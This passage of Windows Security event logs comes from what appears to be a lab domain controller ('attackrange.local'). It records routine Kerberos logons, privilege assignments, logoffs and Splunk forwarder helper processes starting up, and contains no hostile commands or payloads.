fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64765 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255798 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x366010 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255797 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255809 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255808 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x366010 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255807 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36611E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255806 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x366167 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255805 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x36620C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64767 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255804 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36620C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255811 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255810 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x108c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255813 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255812 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255814 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x540 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:37:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255815 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36620C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255818 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36921E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:37:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255817 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x36921E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 64779 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:37:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255816 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x36921E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:38:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255819 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255820 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1274 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255822 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255821 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf68 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255824 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255823 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:38:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255825 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: 